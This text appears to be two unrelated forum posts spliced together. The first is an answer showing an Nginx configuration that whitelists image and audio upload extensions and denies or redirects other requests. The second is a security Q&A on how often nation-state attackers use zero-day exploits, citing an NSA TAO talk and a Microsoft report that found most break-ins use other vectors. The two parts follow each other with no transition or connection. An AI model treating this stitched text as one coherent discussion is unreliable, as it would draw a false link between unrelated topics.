One approach you could take is to whitelist allowed extensions, and handle others.  Since Nginx doesn't have a syntax for not matching an expression, you could "do nothing" when a match is found, and deny/redirect the rest

location ~* /webroot/uploads/(.+)\.(jpg|gif|png|mp3)$ {
  # empty block
}

# all other requests come here
location / {
  # redirect, deny, ...
}


How often do high-end attackers actually use zero-day exploits? Earlier this week the head of the NSA's Tailored Access Operations unit rather remarkably gave a presentation at the USENIX Enigma security conference. (News coverege here and here; video of the talk here).  The topic of the talk: how to defend against sophisticated, persistent, nation-state-level attackers, like, well, the TAO.  As one might expect, there were no jaw-dropping revelations of classified, novel techniques for hacking or defense.  But the TAO chief nonetheless made at least a few thought-provoking points.  One of them was about the NSA's use of zero-day exploits. Or, actually, the uncommonness thereof:

  “A lot of people think that nation states are running their operations
  on zero days, but it’s not that common,” he said. “For big corporate
  networks persistence and focus will get you in without a zero day;
  there are so many more vectors that are easier, less risky, and more
  productive.”

One might be suspicious, on any number of grounds, that the head of the NSA's hackers could simply be understating the role of using zero-days in these obviously classified operations. And obviously, there have been any number of documented nation-state operations in recent years that have used zero-days. (None more extensively than Stuxnet attacks orchestrated in large part by, yes, the NSA.) Still, even if the degree of his dismissiveness was a little bit "thou doth protest too much", I've definitely read and heard similar things from other sources recently sounding similar themes. (Like this article, and this presentation at Defcon last month.)  And, incidentally, the rest of the talk was pretty persuasive that NSA hackers are adept at finding and getting in through cracks in a target's defenses without needing to resort to zero-days.

(Edit: To clarify, for this question I take "zero-day" to mean a vulnerability and accompanying exploit the existence of which are unknown to the defender and to general infosec community when they are used in an attack.)

So, the question: anybody know of any info--from statistics of some kind, anecdotes of personal experience, whatever you think significant--that speaks to how often sophisticated attackers who have access to zero-days--in other words, basically nation-states actually resort to using them in attacks?

I drove a project that looked at this while I was at Microsoft.  The answer is that the vast majority of breakins do not use 0 day.  We used malware as a proxy for breakins, because data was more accessible and puts the use of 0days in perspective.

The data here doesn't break out sophisticated attackers, but the arguments you put forth as to why no one wants to use 0days are solid.  They were probably used in Stuxnet because of the air gaps.

https://blogs.technet.microsoft.com/mmpc/tag/sir-v11/

Since that's a long report, I should add that it's the opening section, "Zeroing in on malware propagation methods" which addresses the question.